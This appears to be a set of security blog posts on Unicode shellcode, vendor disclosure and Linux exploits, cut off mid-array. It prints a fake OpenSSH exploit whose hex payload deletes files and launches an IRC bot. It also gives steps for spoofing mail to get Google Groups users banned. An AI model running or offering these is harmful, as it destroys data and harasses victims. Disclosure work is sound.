This post is a followup on my previous post on KISS shellcoding and exploitation. Like before this is part of the job I do for SecuriTeam’s SSD. Those that are not aware of the project its aim is to give researchers compensation for their researcher efforts, compensation of course being money not just fame and glory
The most common and classic shellcode char restrictions is “zero tolerance”. this can be solved in a verity of different methods. ranging from substitution to polymorphic escape decoders. Solving zero-tolerance is a very useful and thought-provoking problem, however provides a limited amount of fun:). especially once a basic set of solutions has been developed.

Let’s have a look at slightly more challenging problem - can we write shellcode that contains a null char at every other byte, and *only* every other byte, for e.g. s\x00h\x00e\x00l\x00l\x00c\x00o\x00d\x00e0

This can happen if our shellcode were to pass through a call to MultiByteToWideChar() or similar function. This is often encountered in browser bugs (especially DOM and/or scripting).

Some work has been done on this subject, namely a method was described by ngss reasercher Chris Anley. This method was coined “Venetian Blinds” or ”The Venetian exploit”. The method I suggest here is similar, but slightly different in that it does not make as many assumptions and presents a more theoretical approach. This work is an original unrelated effort.

Let us get to it.

Enumerating the methods we can use to write ugly ascii-to-unicode shellcode we find many are similar to regular zero-tolerance or ascii shellcode methods.

We can decode in-place, copy, byte-substitute. These methods will become more clear as you read. In some cases it will be necessary to find eip/getPC.

This also can be done in several ways, similarly to shown in my previous post, but differently( Try encoding FSTENV with null bytes, email me if you succeed

It will take many pages to thoroughly cover all of these methods and so I’ll start with the simplest copy method.

Instead of just presenting the final result, I will walk through my thought process working on this. In this post I present several different trials at shellcode, some of which are not immediately useful. This will allow you to better understand the intricacies shellcode-restriction, and get a feel for the different problems I faced.

Let’s copy our code somewhere. If we were to decode in-place, we would essentially write the same code, as well as extra getPC code.

Not as easy as it sounds. let us start from building restriction-compliant basic-blocks which can br used later. These blocks shall suffice:
1) set register
2) string operation
3) branch
4) glue block

These translate to:

1) mov reg32, imm32
2) mov [reg32],imm8
inc reg32 # imm8 !=0
3) jmp/call reg32
4) a “glue block” that can be use between every two blocks, and between two compliant opcodes. This is a compliant block that starts and ends with a null byte. we’ll mark it *GB.

if we want to get a bit fancier we may need:
3) pop reg32
4) mov [reg32],imm16 # imm16 bytes not equal 0
inc reg32
inc reg32

(U) basic block number one: setting a register - attempt 1.0
the following opcode:
mov ecx, 0×11223344
decodes like this:
B9 44332211

which of course is not very helpful to us. The best we can do with our restriction and this basic opcode is:
B9 00330011 == mov ecx, 0×11003300

this is not very useful. we want to be able to put an arbitrary value into r32. let’s divide in to two parts by bytes:

two lower bytes(”3rd and 4th”):let’s start by setting the two lower bytes. this is easy

*GB ; zero-out ecx
push 0
pop ecx

mov edx,77007700 BB00770077 ; use edx as help-reg

*GB
add ch,dh - 00F5 c
mov edx,66006600 - BB00660066.

*GB
add cl,dh - 00F1

This is a good method for the lower bytes. let’s call it “set (cx, 0×1122)”.

Those readers with a keen eye may notice that assembling these opcodes may not result in compliant shellcode.

This is because different byte-sequences may represent the same opcode. x86 opcodes are built of micro-codes or U-codes(with the greek letter mewh). Every Ucode performs a very basic operation. Several of these are dubbed “opcode”. Different sequences of Ucodes may result in the same end and therefore be functionally-equivalent, usually an assembler will choose the faster one.

topmost two bytes:
in order to set the topmost byte we can:

mov ecx,66006600 - BB00660066.

In order to set the topmost byte to zero we can: zero out the whole r32, later setting byte’s 3&4 . this is done by replacing our first opcode with the sequence:
push 0 - 6A00
pop ecx - 59

onwards.

we are now able to set the 1st,3rd, and 4th bytes of a register. how will we set the second? if the value needed is very low or very high we could:
set (cx, 0xFFFF)
*GB

inc ecx - 41
*GB
set (cx, 0xFFFF)
etc.

or

set (cx, 0×0000) ; this is not trivial, but easy
*GB
DEC ecx - 41

etc.

This method is not very space-conservative. let’s try finding a better method.

And now for something completely different - let’s find a better method. This time the process will include taking a peak at the intel x86 reference manual (I used the xeon manual) in search for interesting opcode encodings.

(U) basic block number one: attempt 2.0 - setting the top two bytes.

this time, we’ll try using program memory, specifically - the stack. this may a good method because many stack operations are single-byte. this may be bad, if sp points somewhere unwritable when the shellcode is running(but can be adapted).

fun fact - sifting through the intel reference manual we can see that the set of operands al /ax /eax can provide plenty compliant opcodes which will not be compliant with other registers used. for eg:
MOV DWORD PTR DS:[EBX],110011 - C7 03 11 00 11 00
MOV DWORD PTR DS:[EAX],110011 - C7 00 11 00 11 00

now consider the following opcodes:
push 11003300 - 6800330011
*GB
push esp - 54
*GB
pop eax - 58
*GB
add dword ptr [eax], 00220044
*GB
pop ecx

now ecx == 0×11223344
this is better than we expected. we have set all four bytes.

we already know how to change the two lower-most bytes if we want to zero them out. we also know how to zero out the 2nd topmost byte,or both high bytes. if we want to get 0×00112233 we can use (i’m omitting opcode encoding from hereon):

push 11003300 ; [esp] = 11003300
*GB
push 11003300 ; [esp] = 11003300
*GB
inc esp ; [esp] = 00110033
*GB
pop ecx ; ecx = 00110033
*GB
dec esp ; [esp] = 11003300
pop eax ; to restore stack

and then set the missing low bytes. We already know a different way of doing this - look for it.

Thus we have a compact method of performing mov r32,imm32 for any value.

(U) basic block no. 2: mov [reg32],imm8, inc reg32 # imm8 !=0 - attempt 1.0

First, let’s assume we know what data is present at the copy destination address. In this case, it will be pretty easy to build this BB. We will be using an add operation. here we are adding 0×90 to a one byte at [ecx], and ecx++.

mov eax,90009000 ; ah=90
add byte ptr [ecx],ah ; [ecx] += 0×90
inc ecx

this of course will be padded with *GB whenever needed. if we don’t know what data lays at [ecx] we could try this:
push ecx
pop eax ; eax =ecx
mov byte ptr al,[eax] ; al= [ecx]

;negate eax
push 0
pop ebx
add bh,al ; bh =al == [ecx]
xor ebx, ff00ff00
push 0
pop eax;
add al,bh ; al = al ^ 0xff == [ecx]^0xff
inc al ; al++ == -(byte ptr [ecx] )

;add negated value, and wanted value
mov edx, 11001100
add al,dh
add byte ptr [ecx],al ; [ecx] = [ecx] + (-[ecx] + dh) == dh == 11
inc ecx

once again, padded with *GB. this is not very elegant or small, but seems to work nicely. let’s give it another try. this time using completely different types of opcodes:
push esp
pop edx

inc ecx
inc ecx
inc ecx
inc ecx

push ecx
pop esp

set(ebx,0×90909090)
push ebx

push edx
pop esp

this looks nicer.

(U) 3) jmp/call reg32
this is easy:
push ecx
*GB
retn

(U) 4) the star of the evening - our very own - Glue Block we could try this:
ADD BYTE PTR SS:[EBP],AL - 004500

or this - after setting the right registers.

ADD BYTE PTR DS:[EAX],CL ; (we could probably pull eax off the stack, but can’t use set(eax,0xADDR) because we can’t use this GB, which is needed to do this there are probably a few others. Using these may require us to do minor fixups. this basically sums up everything we need to build a fancy ascii-to-shellcode decoder. now that we have our 4 basic blocks we can use them to program/ like this: 2-3-4-1-1-1-2-3-4-4/ just kidding.

An example simple windows code that copies four nop bytes to [7FFE0300 +0×100] looks like this:
what we would really be copying is a short code to find the original shellcode, and decode it. this is pretty simple straight-forward assembly

; ecx = 7FFE0400
68 0004007F PUSH 7F000400
0045 00 ADD BYTE PTR SS:[EBP],AL
54 PUSH ESP ; GB
58 POP EAX
8100 0100FE00 ADD DWORD PTR DS:[EAX],0FE0001
59 POP ECX
0045 00 ADD BYTE PTR SS:[EBP],AL
49 DEC ECX

;al = 0×90

0045 00 ADD BYTE PTR SS:[EBP],AL
B8 00900090 MOV EAX,90009000
00E0 ADD AL,AH

;byte ptr [ecx] = 0×90
;ecx ++

0045 00 ADD BYTE PTR SS:[EBP],AL
0001 ADD BYTE PTR DS:[ECX],AL; [ecx] = 0×90
0045 00 ADD BYTE PTR SS:[EBP],AL
41 INC ECX ;ecx++

;byte ptr [ecx] = 0×90
;ecx ++

0001 ADD BYTE PTR DS:[ECX],AL [ecx] = 0×90
0045 00 ADD BYTE PTR SS:[EBP],AL
41 INC ECX

;byte ptr [ecx] = 0×90
;ecx ++

0045 00 ADD BYTE PTR SS:[EBP],AL
0001 ADD BYTE PTR DS:[ECX],AL
41 INC ECX

;byte ptr [ecx] = 0×90
;ecx ++

0045 00 ADD BYTE PTR SS:[EBP],AL
0001 ADD BYTE PTR DS:[ECX],AL
0045 00 ADD BYTE PTR SS:[EBP],AL

;jmp [ecx-4]

DEC ECX
DEC ECX
DEC ECX
DEC ECX

51 PUSH ECX
0045 00 ADD BYTE PTR SS:[EBP],AL
C3 RET

0000

Of course, all the methods I discussed here can be highly optimized(such using dword values?), and probably some other methods may be used. these are the basics

Also, if we want to keep a code-shellcode ratio anything close to plausible, we will have to be able to write small amount of bytes that can find the original chunk and decode it from our
destination address. this can very often be done through use of register and stack state at the time the shellocde started running. we’re in luck with this - pushad is compliant.

The buzz was on about google buzz sharing your list of contacts (which they then quickly fixed in their casual we-did-nothing-wrong-these-are-not-the-droids-you’re-looking-for mind trick).

Readers of this blog remember when google calendar let you see the full name behind every gmail address. At that time, google ignored, then decided there’s nothing wrong with that feature, then fixed it. Only it still works, on other google services. Of course, these aren’t the droids I’m looking for.

Well, here’s a method to DoS a google group user; it was discovered by Shachar Shemesh of lingnu about 18 months ago, who told google and was answered with a strong silence. With google the only disclosure seems to be full-disclosure, so with apologies to you google-group users out there, here is the outline of the attack below.

DoS’ing google groups
Domain-Key is a good method to prevent spam from coming in, as well as preventing unwanted emails from being handled if they are sent through “the wrong” SMTP server.

Google has taken domain-key a step further, with their Domain-Key and Google Groups combo. In this combination, if an email is sent to a Google Groups from an SMTP server who is not listed in the Domain-key record, that email will be banned from writing or accessing the Google Group in question.

The banned user will no longer be able to write or read from that group, will not be able to “undo” this change as emails to Google’s technical support regarding this appear to go unanswered.

From this background, the attack seems clear. A malicious attacker can get pretty much anyone banned from a certain Google Group.

Steps to reproduce:

• Subscribe to a Google group.

• Look for a victim (Anyone posting to the group from a gmail.com account is fair game).

• Configure your email client to send emails with a “From” field that matches this email address, and use an SMTP that is not one of those authorized by the domain key. Your ISP’s SMTP servers will probably suffice.

• Use this configurations to send an email to the group. It doesn’t really matter what the email content is, but I recommend making it look like a genuine email to make is harder to filter (and raise ‘plausible deniability’ in case someone comes asking questions).

As a result:
The victim will be automatically banned from the group.

He or She will receive no notification of that fact: not to the fact he or she was banned, and not even to the fact that the email he or she supposedly sent failed Domain key verification.

The victim will cease to receive emails from the group. They will only find out about it if they try to send an email, at which point they will receive a brief and unhelpful message saying they were banned, with no explanation why and no means to appeal.

Trying to access the group from the web site will result in a “you are banned” message, again, with no helpful information on why the ban was instated nor how to appeal. It is a curious point that even information that is publicly available without registration, such as the group’s archive or description, will be blocked. They will have to sign out of Google to be able to see it(!).

The best means to appeal she is likely to find is “Google Help”, which points to an email address where past experience shows the request email will be unceremoniously ignored, just like Shachar’s email notifying google of this vulnerability.

Okay, so a few days ago I found a ton of XSS vulnerabilities on various high profile web sites, and on the whole, after eventually managing to contact the relevant teams for the sites, everyone was very grateful.

When will web sites owners learn that it’s a good idea to have a security contact e-mail address on their sites!

However there was one, whose name I’m not going to mention here, that came back to me with the worst possible answer ever.

This is an online retailer, and my e-mail went to their help desk, but still!

Here’s the full e-mail trail (I’ve removed certain bits of info though so that the site or the attack vector cannot be identified.) Please also note that due the nature of what this company does they are required to be PCI DSS compliant.

===============================

—–Original Message—–
From: xyberpix [mailto:xyberpix@blahblah.com]
Sent: 05 January 2010 07:53
To: help@xxx.com
Subject: Website enquiry: General - www.xxx.com

Sent Date: 2010-01-05 07:52:58 (GMT/UTC)

Hi There,

I have discovered a security vulnerability on your web site, and would like to please disclose this to yourselves responsibly. Could you please either contact me with the name of someone who I should report this to, or could you please get someone to contact me at this e-mail address please. If this could please be treated as urgent.

Thank you
xyberpix

===================================
On 5 Jan 2010, at 16:40, XXX Support User2 wrote:

Hi Xyberpix,

Thank you for your email message.

Can I please ask you to supply the screenshot of the page so that we can look into this for you?

I look forward to your reply, upon which I will do my very best to assist you.

Kind Regards,
Alex | Customer Services Representative
Note: Please do not delete the previous correspondence if you are replying to this e-mail. This will help us to assist you better. www.xxx.com

===================================

—–Original Message—–
From: xyberpix [mailto:xyberpix@blahblah.com]
Sent: 05 January 2010 16:59
To: XXX Support User2
Subject: Re: XXX

Hi Alex,

No problem at all please find attached a screenshot.

Also the string that was used in the main search bar to prove this was the following:

‘;alert yadayadayada

Kind Regards,
xyberpix

==================================

Hi,

Thank you for contacting us and sorry for the inconvenience caused here.

May I kindly request you to clear the cache and cookies from your internet browser and then try placing your order opening a new browser.

If you have any further queries please do let us know.

Kind Regards,
Edwin | Customer Services Representative
XXX!

Note: Please do not delete the previous correspondence if you are replying to this e-mail. This will help us to assist you better.

My wish for 2010: I want this guide to be taught in CS classes to developers everywhere:

http://vrt-sourcefire.blogspot.com/2009/12/matts-guide-to-vendor-response.html

Happy new year everybody.

Well, what more can I say really, good old Adobe have decided that it’s better to hold off on this patch, then to have people working around the clock to try and get this out asap. I suppose they also need to have some time off, after all it is close to Yule, and well they have been really good at releasing patches in a reasonable timescale this year (cough!).

This is the statement from Adobe, which can be found here.

“We posted an update to Security Advisory APSA09-07 that reflects the target ship date of January 12, 2010 for the update to remediate vulnerability CVE-2009-4324. I thought folks might be interested in some of the analysis that went into developing the schedule for the fix, so let me share some of the details in this post.

We evaluated two different options for patching this vulnerability:

1. Stop everything else and start work immediately on an out-of-cycle security update to resolve this vulnerability with a one-off fix. We made major investments as part of our security initiative earlier this year that allow us to deliver patches more quickly. We estimated that delivering an out-of-cycle update would require somewhere between two and three weeks. Unfortunately, this option would also negatively impact the timing of the next quarterly security update for Adobe Reader and Acrobat scheduled for January 12, 2010.
2. Roll the fix for vulnerability CVE-2009-4324 into the code branch for the scheduled January 12, 2010 release. The team determined that by putting additional resources over the holidays towards the engineering and testing work required to ship a high confidence fix for this issue with low risk of introducing any new problems, they could deliver the fix as part of the quarterly update on January 12, 2010.
   

Two important considerations that contributed to our decision to select the second option:

• JavaScript Blacklist mitigation - This new feature, introduced in Adobe Reader and Acrobat versions 9.2 and 8.1.7, with the quarterly update in October, allows individuals as well as administrators of large enterprise managed desktop environments to easily disable access to individual JavaScript APIs. More details on the JavaScript Blacklist mitigation are available here. The feature design and our testing for this specific vulnerability indicate the JavaScript Blacklist is an effective mitigation against the threat without breaking other workflows that rely on JavaScript or other JavaScript APIs.




• Customer schedules - The next quarterly security update for Adobe Reader and Acrobat, scheduled for release on January 12, 2010, will address a number of security vulnerabilities that were responsibly disclosed to Adobe. We are eager to get fixes for these issues out to our users on schedule. Many organizations are in the process of preparing for the January 12, 2010 update. The delay an out-of-cycle security update would force on the regularly scheduled quarterly release represents a significant negative. Additionally, an informal poll we conducted indicated that most of the organizations we talked with were in favor of the second option to better align with their schedules.
  

This is just a brief description of some of the points we considered in our analysis. Ultimately, the decision came down to what we could do to best mitigate threats to our customers, a critical priority to everyone at Adobe - and one we take very seriously.”

I can really see how they are taking this one seriously, as 4 weeks to roll out a critical patch to one of the most widely used applications on the planet really isn’t that bad if you think it, as that’s got to be at least 2 people working on this one. I actually thought that Adobe had more than a couple of developers, but I guess I was wrong.

Just reading through Twitter and I saw this from HDM, and thought I’d share

“Adobe PDF 0.9-day added to Metasploit: [msf> use exploit/windows/fileformat/adobe_media_newplayer.rb] (via jduck/pusscat/myself) SVN r7881″

Night All…

Wikileaks has released hundreds of thousands pager messages from 11th September, 2001.

Link: 911.wikileaks.org/

Listings say that the messages are sent in networks of Arch Wireless, Metrocall, and SkyTel.

What happens if your job is to sell to customers information about embarrassing vendor vulnerabilities, and then your company gets bought by one of the vendors you are reporting about?

Going back to cheesy analogies this is the age old question, can god create a stone so heavy that he cannot lift?

The case in question is HP buying 3COM (which owns the Zero Day initiative), and as HD Moore correctly pointed out there’s bound to be some conflict there.
This will be an interesting match to watch. First, the stone is very heavy. Knowing the ZDI team (*) they have been very successful at staying independent inside the huge 3com corporate, and my money would be on them succeeding to do it again.

But when we ask if HP can lift this proverbial stone, lets remember that HP was the only large vendor to pull out the nuclear weapon of threatening to sue a security researcher for making their flaws public. Now it’s a group within their own organization, selling information about unfixed HP flaws to paying customers, and paying the same researchers HP wanted to sue 7 years ago.

(*) Full Disclosure: We run an alternative service to ZDI called SecuriTeam Secure Disclosure. That doesn’t take anything from my respect to the ZDI guys and what they’ve been doing.

A while back I was fuzzing with Hzzp and found a remote format string vulnerability in Ipswitch’s WS_FTP. But, I couldn’t find a security contact for Ipswitch. I waited a few months and made the vulnerability public. The day afterwards, a representative from Ipswitch contacted me and I explained why I hadn’t contacted them previously. He was eager to get the vulnerability fixed and made the comment that they’ll need to do a better job publicizing the security contact information. I was happy to have had received a more professional, non-automated email from someone who seemed to care about the security of their company’s product.

I didn’t worry too much about the update process. I know it can take some companies months or even years to release new patches for vulnerabilities in their products, which most of the time is completely unreasonable. Then, a little more than two weeks later, I received an email from that same Ipswitch representative informing me that a new release of WS_FTP was available and the date in the Help->About window should say Sept 18th (10 days after we discussed the vulnerability). What an excellent example of how vendors should handle security issues within their products.

Fast response, efficient security policy, good business. Thanks Ipswitch!

This summer may have caused a few burden’s on linux administrators. By all the patching necessary to keep their systems out of the hands of those who would choose to exploit it, unless your using something like Ksplice, you’ve more than likely rebooted many times already. Well, here is one more reason to wake this early this morning…

New exploits for the “Linux NULL pointer dereference due to incorrect proto_ops initializations” vulnerability have been released, here and here. I just tried the second one out myself on a (currently) fully updated Ubuntu Jaunty workstation, with (_default_) successful results.

linux@ubuntu:~/2009-proto_ops$ sh run.sh
run.c: In function ‘main’:
run.c:13: warning: missing sentinel in function call
padlina z lublina!
# id
uid=0(root) gid=0(root) groups=4(adm),20(dialout),24(cdrom),46(plugdev)
# exit
linux@ubuntu:~/2009-proto_ops$

A reliable local root exploit for that affects all linux kernels 2.x. Feels like 2003 all over again :X

We purchased security vulnerabilities as part of our SSD program from a researcher who has conducted extensive audit on a popular bulletin board system, IPB. For those not familiar with it, it is a good product, quite common, and well supported by a commercial company called Invision Power. The audit revealed a few high risk issues in the program allowing remote attackers to gain access to entries found in the database with minimal requirements on the attacker’s side.

After verifying the issue we contacted the company in several ways, emailing several addresses, but failed to “reach” anyone. We received several automated responses, and even our inquiry to their sales emails, returned nothing, are we missing something?

From their site it is apparent that support is provided only to paying customers, fair enough, but I am not a customer, I am trying to help them. I am willing to give them the security researcher we paid for, for FREE, yes free, they aren’t asked to pay anything for the vulnerabilities discovered, they are only asked to fix them, which will benefit them for sure.

If anyone has an idea how we could reach Invision Power’s guys/developers, please feel free to contact me at noamr[at]beyondsecurity.com.

God bless the law that forces companies to disclose when they are hacked and customer information is compromised. Not only do we get a chance to protect ourselves but it also reminds us that this apparently happens more often then we would think.

This time it’s elance.com:

Dear (my account name),
We recently learned that certain Elance user information was accessed without authorization, including potentially yours. The data accessed was contact information — specifically name, email address, telephone number, city location and Elance login information (passwords were protected with encryption). This incident did NOT involve any credit card, bank account, social security or tax ID numbers.
We have remedied the cause of the breach and are working with appropriate authorities. We have also implemented additional security measures and have strengthened password requirements to protect all of our users.
We sincerely regret any inconvenience or disruption this may cause.
If you have any unanswered questions and for ongoing information about this matter, please visit this page in our Trust & Safety center: http://www.elance.com/p/trust/account_security.html
For information on re-setting your password, visit: http://help.elance.com/forums/30969/entries/47262
Thank you for your understanding,
Michael Culver
Vice President
Elance

What I would like to see, is what “additional security measures” are they really taking. Also (and I’ll admit I have a one-track-mind) did they do a proper security scan to ensure the servers don’t have any holes? What were the results?

Comerica bank seems to think disclosing cross site scripting vulnerabilities in the bank’s web site is illegal:

“Comerica hereby demands that the above-referenced Subject Site be shut down immediately and that the identity of the account holder be provided to the undersigned.

Comerica’s demand is based upon the fact that the Subject Site is designed to enable that subscriber and anyone else viewing the site to take actions to attempt to impersonate Comerica to its customers”

(full document here)

No Comerica, it’s not the “how to use Comerica com to phish their customers” that enables that, it’s comerica.com that enables that. But at least I finally know why I’m receiving a flood of Comerica phishing emails in the last few weeks (I haven’t even heard of the bank before then).

Needless to say, they haven’t fixed the problem. Of course, for them the problem is not that phishers can attack Comerica bank customers but that somebody is saying it out loud.

(more pictures here)

(via @lancejssc)

A NULL reference vulnerability in the tun source code of the Linux kernel has been discovered to be “immune” if the code is audited, and vulnerable once GCC has put into place its code optimizations.

The vulnerability allows executing arbitrary code and gaining root access.

An exploit has been released proving that the vulnerability is not just “theoretically” there, but can be actually exploited.

Need we say Black Box Fuzzing? a API fuzzer such as beSTORM would have easily caught as beSTORM can be told to open the /dev/net/tun driver and write data directly to it, one of the first tests it will preform will be the “old” nothing (NULL) data transfer.

BTW: If you want to test the vulnerability on your kernel here is a code snip:

int fd;
struct pollfd pfd;
fd = open("/dev/net/tun", O_RDWR);
pfd.fd = fd;
pfd.events = POLLIN | POLLOUT;
poll(&pfd, 1, 0);

It’s nice to have milw0rm around: http://www.milw0rm.com/exploits/9137.

Be careful out there, firefox 3.5 users.

Okay, so I saw this online today, and well, after reading through the code, I was kind of certain what this would do. unfortunately being the curious individual that I am, and the fact that I was planning on re-building my Mac tonight anyway (it was running like a dog lately), I had to download it, and compile it, and well run it
Here’s the source code (DO NOT RUN THIS!!!!):

===============

/* 0pen0wn.c by anti-sec group
* ---------------------------
* OpenSSH
#include
#include
#include
#include
#include
#include
#include
#include
#include 

#define VALID_RANGE 0xb44ffe00
#define build_frem(x,y,a,b,c) a##c##a##x##y##b

char jmpcode[] =
"x72x6Dx20x2Dx72x66x20x7ex20x2Fx2Ax20x32x3ex20x2f"
"x64x65x76x2fx6ex75x6cx6cx20x26";

char shellcode[] =
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx0ax24x6bx65"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx24x6bx65x79"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x70x68x70x66x72x22x3bx24x73x65x72x76x65x72x3dx22"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x69x72x63x2ex68x61x6dx2ex64x65x2ex65x75x69x72x63"
"x2ex6ex65x74x22x3bx24x53x49x47x7bx54x45x52x4dx7d"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx24x6bx65x79"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x70x68x70x66x72x22x3bx24x73x65x72x76x65x72x3dx22"
"x69x72x63x2ex68x61x6dx2ex64x65x2ex65x75x69x72x63"
"x2ex6ex65x74x22x3bx24x53x49x47x7bx54x45x52x4dx7d"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx24x6bx65x79"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x70x68x70x66x72x22x3bx24x73x65x72x76x65x72x3dx22"
"x69x72x63x2ex68x61x6dx2ex64x65x2ex65x75x69x72x63"
"x2ex6ex65x74x22x3bx24x53x49x47x7bx54x45x52x4dx7d"
"x64x20x2bx78x20x2fx74x6dx70x2fx68x69x20x32x3ex2f"
"x64x65x76x2fx6ex75x6cx6cx3bx2fx74x6dx70x2fx68x69"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a";

char fbsd_shellcode[] =
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x70x68x70x66x72x22x3bx24x73x65x72x76x65x72x3dx22"
"x69x72x63x2ex68x61x6dx2ex64x65x2ex65x75x69x72x63"
"x2ex6ex65x74x22x3bx24x53x49x47x7bx54x45x52x4dx7d"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx24x6bx65x79"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx24x6bx65x79"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x70x68x70x66x72x22x3bx24x73x65x72x76x65x72x3dx22"
"x69x72x63x2ex68x61x6dx2ex64x65x2ex65x75x69x72x63"
"x2ex6ex65x74x22x3bx24x53x49x47x7bx54x45x52x4dx7d"
"x64x20x2bx78x20x2fx74x6dx70x2fx68x69x20x32x3ex2f"
"x64x65x76x2fx6ex75x6cx6cx3bx2fx74x6dx70x2fx68x69"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
